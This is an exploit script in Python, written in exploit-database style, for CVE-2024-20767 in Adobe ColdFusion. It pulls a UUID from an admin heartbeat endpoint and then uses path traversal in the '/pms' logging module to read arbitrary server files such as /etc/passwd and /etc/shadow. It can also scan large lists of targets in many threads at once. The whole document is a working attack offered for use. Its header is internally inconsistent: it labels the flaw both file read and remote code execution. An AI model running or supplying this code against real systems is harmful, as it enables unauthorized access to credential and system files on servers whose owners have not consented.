# Exploit Title: Adobe ColdFusion 2023.6 - Remote File Read
# Exploit Author: @İbrahimsql
# Exploit Author's github: https://github.com/ibrahmsql
# Description: ColdFusion 2023 (LUcee) - Remote Code Execution
# CVE: CVE-2024-20767
# Vendor Homepage: https://www.adobe.com/
# Requirements: requests>=2.25.0, urllib3>=1.26.0
# Usage: python3 CVE-2024-20767.py -u http://target.com -f /etc/passwd
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import urllib3
import requests
import argparse
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings()
class ColdFusionExploit:
def __init__(self, output_file=None, port=8500):
self.output_file = output_file
self.port = port
self.verbose = True
self.session = requests.Session()
def print_status(self, message, status="*"):
colors = {"+": "\033[92m", "-": "\033[91m", "*": "\033[94m", "!": "\033[93m"}
reset = "\033[0m"
print(f"{colors.get(status, '')}{status} {message}{reset}")
def normalize_url(self, url):
if not url.startswith(('http://', 'https://')):
url = f"http://{url}"
parsed = urlparse(url)
if not parsed.port:
url = f"{url}:{self.port}"
return url.rstrip('/')
def get_uuid(self, url):
endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat"
try:
response = self.session.get(f"{url}{endpoint}", verify=False, timeout=10)
if response.status_code == 200:
match = re.search(r"(.+?) ", response.text)
if match:
uuid = match.group(1)
if self.verbose:
self.print_status(f"UUID: {uuid[:8]}...", "+")
return uuid
except Exception as e:
if self.verbose:
self.print_status(f"Error: {e}", "-")
return None
def read_file(self, url, uuid, file_path):
headers = {"uuid": uuid}
endpoint = f"/pms?module=logging&file_name=../../../../../../../{file_path}&number_of_lines=100"
try:
response = self.session.get(f"{url}{endpoint}", verify=False, headers=headers, timeout=10)
if response.status_code == 200 and response.text.strip() != "[]":
return response.text
except:
pass
return None
def test_files(self, url, uuid):
files = {
"Linux": ["etc/passwd", "etc/shadow", "etc/hosts"],
"Windows": ["Windows/win.ini", "Windows/System32/drivers/etc/hosts", "boot.ini"]
}
for os_name, file_list in files.items():
for file_path in file_list:
content = self.read_file(url, uuid, file_path)
if content:
self.print_status(f"VULNERABLE: {url} - {os_name} - {file_path}", "+")
if self.verbose:
print(content[:200] + "..." if len(content) > 200 else content)
print("-" * 50)
if self.output_file:
with open(self.output_file, "a") as f:
f.write(f"{url} - {os_name} - {file_path}\n")
return True
return False
def exploit_custom_file(self, url, uuid, custom_file):
content = self.read_file(url, uuid, custom_file)
if content:
self.print_status(f"File read: {custom_file}", "+")
print(content)
return True
else:
self.print_status(f"Failed to read: {custom_file}", "-")
return False
def exploit(self, url, custom_file=None):
url = self.normalize_url(url)
if self.verbose:
self.print_status(f"Testing: {url}")
uuid = self.get_uuid(url)
if not uuid:
if self.verbose:
self.print_status(f"No UUID: {url}", "-")
return False
if custom_file:
return self.exploit_custom_file(url, uuid, custom_file)
else:
return self.test_files(url, uuid)
def scan_file(self, target_file, threads):
if not os.path.exists(target_file):
self.print_status(f"File not found: {target_file}", "-")
return
with open(target_file, "r") as f:
urls = [line.strip() for line in f if line.strip() and not line.startswith('#')]
self.print_status(f"Scanning {len(urls)} targets with {threads} threads")
self.verbose = False
vulnerable = 0
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(self.exploit, url): url for url in urls}
for future in as_completed(futures):
url = futures[future]
try:
if future.result():
vulnerable += 1
print(f"[+] {url}")
else:
print(f"[-] {url}")
except Exception as e:
print(f"[!] {url} - Error: {e}")
self.print_status(f"Scan complete: {vulnerable}/{len(urls)} vulnerable", "+")
def main():
parser = argparse.ArgumentParser(description="ColdFusion CVE-2024-20767 Exploit")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File with target URLs")
parser.add_argument("-p", "--port", type=int, default=8500, help="Port (default: 8500)")
parser.add_argument("-c", "--custom", help="Custom file to read")
parser.add_argument("-o", "--output", help="Output file")
parser.add_argument("-t", "--threads", type=int, default=20, help="Threads (default: 20)")
parser.add_argument("-q", "--quiet", action="store_true", help="Quiet mode")
args = parser.parse_args()
if not args.url and not args.file:
parser.print_help()
return
exploit = ColdFusionExploit(args.output, args.port)
exploit.verbose = not args.quiet
if args.url:
exploit.exploit(args.url, args.custom)
elif args.file:
exploit.scan_file(args.file, args.threads)
if __name__ == "__main__":
main()